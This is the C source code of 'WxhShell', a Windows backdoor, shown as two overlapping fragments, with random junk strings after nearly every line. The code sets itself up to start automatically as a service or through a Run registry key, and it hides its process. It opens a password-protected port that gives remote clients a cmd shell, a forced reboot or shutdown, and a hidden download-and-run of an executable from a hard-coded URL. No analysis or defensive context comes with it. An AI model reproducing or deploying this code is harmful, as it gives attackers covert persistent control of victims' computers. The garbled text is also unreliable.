    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); gJn_8\,C>Q  
    if(Boot(SHUTDOWN)) c;7ekj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9%uJ:c?  
    else { DCtrTX  
    closesocket(wsh); v?1xYG@1  
    ExitThread(0); m>?{flO  
    } b~;+E#[*  
    break; a U*cwR  
    } Yyh X%S%  
  // 获取shell ;fDs9=3#  
  case 's': { U@?Ro enn  
    CmdShell(wsh); D(S^g+rd  
    closesocket(wsh); *$ 7c||J7  
    ExitThread(0); ~|)'vK8W  
    break; 93N:?B9  
  } sz b],)|18  
  // 退出 4~{q=-]V  
  case 'x': { A =k{Rl{LA  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ddjaM/.E  
    CloseIt(wsh); hI 1 }^;  
    break; |4FvP R [  
    } #PRkqg+|  
  // 离开 [<{+tAdn)  
  case 'q': { '.DFyHsq  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ~lLIq!!\  
    closesocket(wsh); ugt|'i  
    WSACleanup(); G_x<2E"d  
    exit(1); nz]+G2 h  
    break; Go_~8w0<  
        } )Wm:Ilq  
  } DbkKmv&  
  } %,*{hhfu  
/e}NZo{)g  
  // 提示信息 p[%FH?  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [& &9F};  
} P\CT|K'P  
  } R oWGQney  
pTJJ.#$CEF  
  return; h{cJ S9e}  
} toCT5E_0=  
* <_8]C0>  
// shell模块句柄 VS\~t  
int CmdShell(SOCKET sock) 'e>0*hF[  
{ ] T! >]  
STARTUPINFO si; }A`4ae=  
ZeroMemory(&si,sizeof(si)); M1T)e9k=x  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3 tp'}v  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; T/&4lJ^2l^  
PROCESS_INFORMATION ProcessInfo; {aWTT&-N  
char cmdline[]="cmd"; 9IC|2w66  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); v9OK <  
  return 0; h>+,ba"D  
} 5l"v:Px  
/u 8m|S<  
// 自身启动模式 #}W^d^-5t5  
int StartFromService(void) =X11x)]F9  
{ Rs cU=oaKi  
typedef struct 0)'^vJe  
{ <k&Q"X:"  
  DWORD ExitStatus; }Z_w8+BZ  
  DWORD PebBaseAddress; N?h=Zl|  
  DWORD AffinityMask; 1^zpO~@ S  
  DWORD BasePriority; Vn6g(:\w  
  ULONG UniqueProcessId; b}9Ry"  
  ULONG InheritedFromUniqueProcessId; [huS"1  
}   PROCESS_BASIC_INFORMATION; 'lym^^MjL+  
yb#NB)+E@  
PROCNTQSIP NtQueryInformationProcess; zR+EJFf  
$!x8XpR8s  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; x\Bl^1&  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; q(J3fjY)  
nDS mr  
  HANDLE             hProcess; (JHL0Z/  
  PROCESS_BASIC_INFORMATION pbi;  # xS8  
Bp`?inKBOd  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL");  c6;tbL  
  if(NULL == hInst ) return 0; a 8Jn.!  
+tNu8M@xFo  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); >?q()>l  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); kmm1b (  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); &JM|u ww?1  
LuB-9[^<  
  if (!NtQueryInformationProcess) return 0; /,z4tf  
R*D0A@  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); &oTUj'$  
  if(!hProcess) return 0; geL)v7t+#  
Ax4nx!W,   
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; '@h5j6:2  
YAqv:  
  CloseHandle(hProcess); gh3XC.&  
3EN?{T<yf  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); fYR*B0tu  
if(hProcess==NULL) return 0; (8u.Xbdh  
e`fN+  
HMODULE hMod; |"vUC/R2&  
char procName[255]; N246RV1W  
unsigned long cbNeeded; -gl7mO*  
-aPvls   
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); `g&<7~\=A  
Tp&03  
  CloseHandle(hProcess); C#`VVtei  
Lf|5miO  
if(strstr(procName,"services")) return 1; // 以服务启动 Q"KD O-t  
F7wpGtt  
  return 0; // 注册表启动 oO-kO!59y  
} "k(Ee  
F'DO46  
// 主模块 X|)Ox ,(  
int StartWxhshell(LPSTR lpCmdLine)  g-MaP  
{ hmv"|1Sa!~  
  SOCKET wsl; Iq`:h&'!L  
BOOL val=TRUE; f\FubL  
  int port=0; 9pD=E>4?#  
  struct sockaddr_in door; uI^E9r/hB  
;H5PiSq;z  
  if(wscfg.ws_autoins) Install(); /pZ]:.A  
,lLkAd?q  
port=atoi(lpCmdLine); 4i>sOP3 B  
K'EGm #I  
if(port<=0) port=wscfg.ws_port; )2KQZMtgm]  
| -l)$i@  
  WSADATA data; %Ji@\|Zkf  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 8|uFW7Q  
^T83E}  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   y| *X  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); =^m,|j|d>4  
  door.sin_family = AF_INET; &o>ctf.x  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); *Y'@|xf*  
  door.sin_port = htons(port); JyY-@GF  
TQyi -Dc  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { l(Dkmt>^  
closesocket(wsl); a%a_sR\)  
return 1; Z&gM7Zo8  
} y -j3d)T  
SnsOuC5Ah  
  if(listen(wsl,2) == INVALID_SOCKET) { kYBy\  
closesocket(wsl); t(YrF,  
return 1; j^ VAA\  
} _zq"<Q c  
  Wxhshell(wsl); u/3[6MIp  
  WSACleanup(); iO)FZ%?"  
Zi5d"V[}T  
return 0; x#ub % t  
E^z\b *  
} E_-3G<rt  
AsyJDt'i  
// 以NT服务方式启动 B -XM(C j  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Ff xf!zS  
{ X_yAx)Do  
DWORD   status = 0; Gzxq] Mg  
  DWORD   specificError = 0xfffffff; jU\vg;nr  
/ 4P+  
  serviceStatus.dwServiceType     = SERVICE_WIN32; :td#zM  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; w8$rt  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; R4+Gmx1  
  serviceStatus.dwWin32ExitCode     = 0; G9y 0;br  
  serviceStatus.dwServiceSpecificExitCode = 0; k*)O]M<,  
  serviceStatus.dwCheckPoint       = 0; ^.5`jdk  
  serviceStatus.dwWaitHint       = 0; 8zv=@`4@G  
n#,<-Rb-  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); =SJwCT0;  
  if (hServiceStatusHandle==0) return; QJ2V&t"3  
j{00iA}  
status = GetLastError(); !;'#f xW[  
  if (status!=NO_ERROR) >*#clf;@p  
{ WqX#T  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; zs! }P  
    serviceStatus.dwCheckPoint       = 0; y{CyjYpz^  
    serviceStatus.dwWaitHint       = 0; y5;l?v94  
    serviceStatus.dwWin32ExitCode     = status; h/u>F$}c  
    serviceStatus.dwServiceSpecificExitCode = specificError; NjT#p8d X  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ts BPQ 8Ne  
    return; "RPX_  
  } F/c7^  
l AF/O5b  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; !Z +4FwF  
  serviceStatus.dwCheckPoint       = 0; {k.Dy92  
  serviceStatus.dwWaitHint       = 0; L'XX++2  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); nO{@p_3mi  
} Rv R ,V  
Sn 3@+9J  
// 处理NT服务事件,比如:启动、停止 b'\a 4  
VOID WINAPI NTServiceHandler(DWORD fdwControl) /">A3bq  
{ -:92<G\D  
switch(fdwControl) H"hL+F^  
{ .yp"6S^b  
case SERVICE_CONTROL_STOP: |BrD:+  
  serviceStatus.dwWin32ExitCode = 0; H]v"_!(\  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; tEEeek(!  
  serviceStatus.dwCheckPoint   = 0; 99Jk<x k  
  serviceStatus.dwWaitHint     = 0; 0@;kD]Z  
  { Z Z1s}TG  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -&87nR(eW  
  } VT.BHZ  
  return; ^<L;"jl%  
case SERVICE_CONTROL_PAUSE: 1 o5DQ'~n  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 6n9;t\'Gt  
  break; {4u8~whLp  
case SERVICE_CONTROL_CONTINUE: d0(GE4+/  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; BPAz.K Q  
  break;  q0Rd^c  
case SERVICE_CONTROL_INTERROGATE: A)I4 `3E  
  break; V,>_L  
}; UPtWj8h  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); C4V#qhj  
} u+7B-l=u*  
q7id?F}3&  
// 标准应用程序主函数 rSTc4m1R  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) b}P5*}$:9"  
{ QW ~-+BD  
pPztUz/.  
// 获取操作系统版本 MZ_+doN  
OsIsNt=GetOsVer(); =}@m$g  
GetModuleFileName(NULL,ExeFile,MAX_PATH); XxT7YCi  
 (`0dO8  
  // 从命令行安装 UloZo? e`  
  if(strpbrk(lpCmdLine,"iI")) Install(); s(yVE  
C9oF*{  
  // 下载执行文件 cE x$cZRMI  
if(wscfg.ws_downexe) { [oOA@  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 6MC*2}W  
  WinExec(wscfg.ws_filenam,SW_HIDE); ;0}8vs  
} .F'fBT` $  
"Fv6u]Rv  
if(!OsIsNt) { \R& 4Nu2F  
// 如果时win9x,隐藏进程并且设置为注册表启动 _#c^z;!  
HideProc(); !x9j~D'C`  
StartWxhshell(lpCmdLine); 5BKmp-m  
} A@/DGrZX  
else c`UJI$Q/  
  if(StartFromService()) ,j~ R ^j  
  // 以服务方式启动 1m-"v:fT5D  
  StartServiceCtrlDispatcher(DispatchTable); Y =3:Q%X  
else &k3'UN!&Ix  
  // 普通方式启动 uNLB3Rdy}  
  StartWxhshell(lpCmdLine); SM:SxhrGt  
x{io*sY-  
return 0; YBgHX [q  
} sV7dgvVd  
R6 w K'  
(sw1HR  
LX.1]T*m`  
=========================================== Hk-)fl#dr  
d#T8|#O"  
&?3?8Q\  
$ 1(u.Ud  
f}bUuQrH-!  
 l;>#O  
" :=04_5 z  
ww"ihUX  
#include <stdio.h> 6wzF6] @O  
#include <string.h> z]>aWH}$  
#include <windows.h> U'LO;s04m  
#include <winsock2.h> jG{} b6  
#include <winsvc.h> =ox#qg.5  
#include <urlmon.h> ua:.97~Ym  
@u/<^j3Q  
#pragma comment (lib, "Ws2_32.lib") O#A1)~  
#pragma comment (lib, "urlmon.lib") xtjTU;T  
K_nN|'R-  
#define MAX_USER   100 // 最大客户端连接数 TMG:fg&E~  
#define BUF_SOCK   200 // sock buffer u*Oz1~  
#define KEY_BUFF   255 // 输入 buffer sXTt )J  
(?R  
#define REBOOT     0   // 重启 &F\J%#{  
#define SHUTDOWN   1   // 关机 MCQ>BP  
?9X#{p>q  
#define DEF_PORT   5000 // 监听端口 nx=#QLi  
K_`*ZV{r  
#define REG_LEN     16   // 注册表键长度 6u7 (}K  
#define SVC_LEN     80   // NT服务名长度 LH 4-b-  
!U>"H8}dv  
// 从dll定义API 1s\10 hK1c  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); /db?ltb  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ~1Tz[\H#R  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); T-&CAD3 ,O  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); C?rL>_+71  
'*>LZo4  
// wxhshell配置信息 t@.gmUUA  
struct WSCFG { 7OtQK`P"A  
  int ws_port;         // 监听端口 `P/*x[?  
  char ws_passstr[REG_LEN]; // 口令 U`6QD}c"s  
  int ws_autoins;       // 安装标记, 1=yes 0=no i*_KHK  
  char ws_regname[REG_LEN]; // 注册表键名 p{Pa(Z]G  
  char ws_svcname[REG_LEN]; // 服务名 W~k!qy `  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 [&nwB!kt  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 U]R?O5K  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 8tA.d.8  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 'n:Ft  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ErESk"2t  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ZX-9BJ`Q  
jT: :o  
}; (6+6]`c$  
8fM}UZI  
// default Wxhshell configuration @hzQk~Gdi  
struct WSCFG wscfg={DEF_PORT, `4}!+fXQ  
    "xuhuanlingzhe", gn%#2:=pVu  
    1, (dMFYL>YP  
    "Wxhshell", -(cm  
    "Wxhshell", #]lUJ &M}e  
            "WxhShell Service", ZX'{o9+w5  
    "Wrsky Windows CmdShell Service", h| UT/:  
    "Please Input Your Password: ", IU$bP#<  
  1, {'DP/]nK  
  "http://www.wrsky.com/wxhshell.exe", +"3eh1q[  
  "Wxhshell.exe" XOqpys  
    }; CHeG{l)<r  
}0 <x4|=  
// 消息定义模块 %- A8`lf<  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 2)j\Lg_M  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 1.,mNY^UN  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; dt`L}Yi  
char *msg_ws_ext="\n\rExit."; =AD/5E,3  
char *msg_ws_end="\n\rQuit."; %4 SREq  
char *msg_ws_boot="\n\rReboot..."; 3]N}k|lb%  
char *msg_ws_poff="\n\rShutdown..."; M8[YW|VkP  
char *msg_ws_down="\n\rSave to "; @O45s\4-*  
:m&`bq  
char *msg_ws_err="\n\rErr!"; ~7 `x9MUc  
char *msg_ws_ok="\n\rOK!"; 9Biw!%a  
Dx <IS^>i  
char ExeFile[MAX_PATH]; !FSraW2  
int nUser = 0; &]LwK5SR  
HANDLE handles[MAX_USER]; H&03>.b  
int OsIsNt; |Y'$+[TE  
3~cOQ%#]4  
SERVICE_STATUS       serviceStatus; ^7"%eWT`  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; =fsaJ@q ,R  
d:pp,N~2o  
// 函数声明 h.?[1hT4R  
int Install(void); ,O[vxN1X*  
int Uninstall(void); )D[ypuM&  
int DownloadFile(char *sURL, SOCKET wsh); BB%(!O4Dl  
int Boot(int flag); (Wx)YI  
void HideProc(void); Ap!UX=HBb  
int GetOsVer(void); 0H>Fyl2_  
int Wxhshell(SOCKET wsl); 7_K(x mK  
void TalkWithClient(void *cs); tjd"05"@:  
int CmdShell(SOCKET sock); vj^U F(X  
int StartFromService(void); ZH0f32K  
int StartWxhshell(LPSTR lpCmdLine); N!h>fE`  
O"#`i{^?2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); %<M<'jxSca  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); u^]yz&9V  
p +T&9  
// 数据结构和表定义 D~?kvyJ  
SERVICE_TABLE_ENTRY DispatchTable[] = %I.{umU  
{ -:~`g*3#  
{wscfg.ws_svcname, NTServiceMain}, `PW=_f={  
{NULL, NULL} 9Np0<e3p  
}; ,gOQI S56  
$U8ap4EXM  
// 自我安装 j2P|cBXu  
int Install(void) +%<Jr<~W  
{ Vks,3$  
  char svExeFile[MAX_PATH]; N Dg]s2T  
  HKEY key; J<BdIKCma  
  strcpy(svExeFile,ExeFile); \ yOZ&qU  
4O`h%`M  
// 如果是win9x系统,修改注册表设为自启动 mCE})S  
if(!OsIsNt) { Dq?2mXOqD  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { SRD&Uf0M  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Rke:*(p*n;  
  RegCloseKey(key); 8@A[ `5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Z|/):nVP7  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); f9Xw]G9  
  RegCloseKey(key); <+$S{Z.  
  return 0; `UI)H*GA8  
    } > Qtyw.n  
  } .lFSFJ??  
} IRU2/Ycg  
else { R/wSGP`W  
s{,e^T  
// 如果是NT以上系统,安装为系统服务 /,>.${,;u  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); X<QE]RZ  
if (schSCManager!=0) 3> (`Y  
{ 9@1W=sl  
  SC_HANDLE schService = CreateService ~>C>LH>8  
  ( *Qf }4a0  
  schSCManager, MMAC,4  
  wscfg.ws_svcname, IW1\vfe  
  wscfg.ws_svcdisp, P X0#X=$  
  SERVICE_ALL_ACCESS, }dHiW:J>  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , u#,]>;  
  SERVICE_AUTO_START, 4bBxZY  
  SERVICE_ERROR_NORMAL, 9F+bWo_m  
  svExeFile, >ahj|pm  
  NULL, j41:]6  
  NULL, z K(5&u  
  NULL, y2U:( H:l!  
  NULL, ?qbp  
  NULL ^~aSrREo  
  ); |pgkl`  
  if (schService!=0) :L[6a>"neE  
  { vj b?N  
  CloseServiceHandle(schService); m#ie{u^  
  CloseServiceHandle(schSCManager); **q/'K  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); %PS-nF7v  
  strcat(svExeFile,wscfg.ws_svcname); A;!FtD/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { )2$_:Ek  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); GVM#Xl}w9  
  RegCloseKey(key); 5ZcnZlOOQ  
  return 0; 3k<#;(  
    } [GP( r  
  } [o.zar82  
  CloseServiceHandle(schSCManager); C|I 1 m  
} #~+#72+x7  
} asi1c y\  
X]fw9tZ  
return 1; V~_nyjrJM  
} PsgzDhRv  
K;qZc\q  
// 自我卸载 PWMaB  
int Uninstall(void) zEB1Br,  
{ }j?S?=;m=  
  HKEY key; zvf]}mNx  
;Wa{q.)  
if(!OsIsNt) { &~%@QC/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Wj:QC<5 v  
  RegDeleteValue(key,wscfg.ws_regname); a  98  
  RegCloseKey(key); ' XF`&3 i  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *[H+8/n_  
  RegDeleteValue(key,wscfg.ws_regname); XOCau.#  
  RegCloseKey(key); ay_D.gxz  
  return 0; hNle;&*F  
  } JB+pFBeY  
} 9NP l]iA)  
} Tv$7aVi!  
else { 'oz = {;  
YfPo"uxx  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);  IR LPUP  
if (schSCManager!=0) E(tBN]W.  
{ )sf~l6  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 'y?|shV{]  
  if (schService!=0) Uot-@|l  
  { .=yus[,~  
  if(DeleteService(schService)!=0) { J,O@T)S@  
  CloseServiceHandle(schService); j/<y  
  CloseServiceHandle(schSCManager);  J31M:<  
  return 0; tA-B3 ]  
  } #Qr4Ke$g[l  
  CloseServiceHandle(schService); JP4Moq~r   
  } H g`{9v  
  CloseServiceHandle(schSCManager); mM} Ukmy  
} !XG&=Rd?  
} pxxFm~"d  
qDM[7q3.  
return 1; +q/h:q.TV  
} Qu,k  
jw[BtRW  
// 从指定url下载文件 XKX,7  
int DownloadFile(char *sURL, SOCKET wsh) 4Aew )   
{ n^\;*1%$c@  
  HRESULT hr; Qcy`O m^2  
char seps[]= "/"; 38rZ`O*D  
char *token; 5|CiwQg|,p  
char *file; 3\n{,Q  
char myURL[MAX_PATH]; 1fFb 7n~3  
char myFILE[MAX_PATH]; S;Z3v)E-f  
<83gn :$  
strcpy(myURL,sURL); qb4;l\SfT  
  token=strtok(myURL,seps); c@-K  
  while(token!=NULL) Zd U{`>v  
  { 1Wk EPj,  
    file=token; \83A|+k  
  token=strtok(NULL,seps); ^|GtO.  
  } n2 mw@Ay!  
WcwW@cY7\  
GetCurrentDirectory(MAX_PATH,myFILE); 7J;~ &x  
strcat(myFILE, "\\"); ^<\} Y  
strcat(myFILE, file); !t Oky  
  send(wsh,myFILE,strlen(myFILE),0); g&3#22z  
send(wsh,"...",3,0); uq4s bkP  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); +MZO%4  
  if(hr==S_OK) X8 )>}#:  
return 0; bH/pa#G(  
else 1?RCJ]e5  
return 1; 4)HWPX  
P"h\7V,d%  
} .'b3iG&  
KVM@//:{  
// 系统电源模块 C9U {^  
int Boot(int flag) +;*(a3Gp  
{ W)!{U(X  
  HANDLE hToken; 5@D7/$bLp  
  TOKEN_PRIVILEGES tkp; $xtE+EV.p  
yVI;s|jG  
  if(OsIsNt) { tOg 8L2  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); [A9 ,!YY  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); [Z#.]gb  
    tkp.PrivilegeCount = 1; z|]oM#Gt  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; )L<?g !j~  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Z4AAg  
if(flag==REBOOT) { //M4Sq(  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) :aq>  
  return 0; /QXs-T}d  
} aE\BAbD7  
else { ?4>y2!OC9  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Bdq"6SK>  
  return 0; cL)rjty2  
} c =N]! ,MO  
  } bEQtVe@`  
  else { @=0r3  
if(flag==REBOOT) { `Kc %S^C'  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) [Ht."VxR  
  return 0; FPMSaN P  
} 2Z`$  
else { U aj`  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 2]NAs9aZ  
  return 0; gLaO#cQ%  
} =3sldKL&F  
} HCjn9  
|/\U^AHm"h  
return 1; JNFT6T)T15  
} TFC!u 0Y"$  
rZ.a>'T4  
// win9x进程隐藏模块 dI0bTw|s/  
void HideProc(void) [ lzy &To  
{ (>LHj]}K  
sMfFm@\N  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); K"k"ml<4E  
  if ( hKernel != NULL ) ^[seK)S=  
  { ^Em@6fz[  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); P\X=*  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ~6:LUM  
    FreeLibrary(hKernel); '!fFI1s  
  } LA+$_U"Jk  
2rj/wakd  
return; R )d99j^"  
} _.OMjUBZT  
N^Hn9n  
// 获取操作系统版本 B) *#g  
int GetOsVer(void) }&(E#*>x  
{ h#@4@x{  
  OSVERSIONINFO winfo; :%uyy5AZ  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); fa4951_  
  GetVersionEx(&winfo); => uVp  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ~t${=o430  
  return 1; }r~v,KDb  
  else ll(e,9.D  
  return 0;  mF*?e/  
} /h7>Z9T  
Y*kh$E%<#  
// 客户端句柄模块 qXU:A-IdIl  
int Wxhshell(SOCKET wsl) lpfwlB'~9  
{ r%TLv  
  SOCKET wsh; b 5F4+  
  struct sockaddr_in client; 5xMA~I0c  
  DWORD myID; V<HOSB7  
AU\xNF3  
  while(nUser<MAX_USER) t*Vao  
{ {(M&-~Yh  
  int nSize=sizeof(client); Lz9$,Y[  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ~Q_)>|R2  
  if(wsh==INVALID_SOCKET) return 1; Pe$^Mo.q  
!Bk[p/\  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); $_ix6z  
if(handles[nUser]==0) o5=)~D{/G3  
  closesocket(wsh); NoJnchiU  
else &h7smZO5j  
  nUser++; _@#uIOcE  
  } _OJ0 < {E  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 5U-p'c9IC  
>J^7}J  
  return 0; *`+<x  
} ;!l*7}5X=  
#gX%X~w$F  
// 关闭 socket 3R<ME c  
void CloseIt(SOCKET wsh) IW1GhZ41'  
{ 1A%N0#_(Md  
closesocket(wsh); tDC0-N&6S~  
nUser--; ;#Jq$v)D  
ExitThread(0); J.bF v/R  
} 0a2$P+p  
&TP:yA[  
// 客户端请求句柄 ch0oFc$  
void TalkWithClient(void *cs) :(bdI]  
{ 3{Na ZIk  
DA+A >5/  
  SOCKET wsh=(SOCKET)cs; ZL4l (&"  
  char pwd[SVC_LEN]; n0+g]|a AF  
  char cmd[KEY_BUFF]; g[#k.CuP  
char chr[1]; 'DCKD4@C/  
int i,j; pBSq%Hy:  
BKE\SWu  
  while (nUser < MAX_USER) { ~rgf{oGz  
WZ^{zFoZ  
if(wscfg.ws_passstr) { Y|%anTP  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $i,6B9  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); DO7- =74=  
  //ZeroMemory(pwd,KEY_BUFF); /*u#Ba<<  
      i=0; yxaT7Oqh%  
  while(i<SVC_LEN) { <X:Ud&\  
E fP>O  
  // 设置超时 9GMH*=3[=  
  fd_set FdRead; 2YL`3cgfb  
  struct timeval TimeOut; Q3'fz 9v  
  FD_ZERO(&FdRead); 0hrCG3k.91  
  FD_SET(wsh,&FdRead); 0V<Aub[${  
  TimeOut.tv_sec=8; x r-;,W  
  TimeOut.tv_usec=0; _7Xd|\Zc  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); z $9@j2  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); dV5PhP>6  
'ox0o:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [kPD`be2#  
  pwd=chr[0]; QuSV&>T\  
  if(chr[0]==0xd || chr[0]==0xa) { 8g<Q5(  
  pwd=0; ?!bd!:(N  
  break; vC)"*wYB{  
  } X}zX`]:I'  
  i++; J"%8:pL  
    } %==G+S{  
N7e`6d!  
  // 如果是非法用户,关闭 socket <\ y!3;  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); k0H?9Z4k5  
} NFB *1_m  
;M}itM  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); /Jh1rck  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $T"h";M)s  
Ap11b|v  
while(1) { GxYW4b  
Z7JKaP9{:  
  ZeroMemory(cmd,KEY_BUFF); Of-C  
8<YX7e  
      // 自动支持客户端 telnet标准   #$LH2?)  
  j=0; rlR !&  
  while(j<KEY_BUFF) { xLA~1ZSVJw  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); nYOY"'z  
  cmd[j]=chr[0]; +J"'  'cZ  
  if(chr[0]==0xa || chr[0]==0xd) { n4^~gT%b5]  
  cmd[j]=0; L<bYRGz  
  break; J"diFz+20  
  } mfZ)^X  
  j++; ]kRI}Om2  
    } j*tk(o}qG  
bsB},pc  
  // 下载文件 _~tm7o+js  
  if(strstr(cmd,"http://")) { FXS^^p P  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); cb +l"FI7  
  if(DownloadFile(cmd,wsh)) ^:m^E0(H  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); @'*eC}\E  
  else 'z)hG#{I  
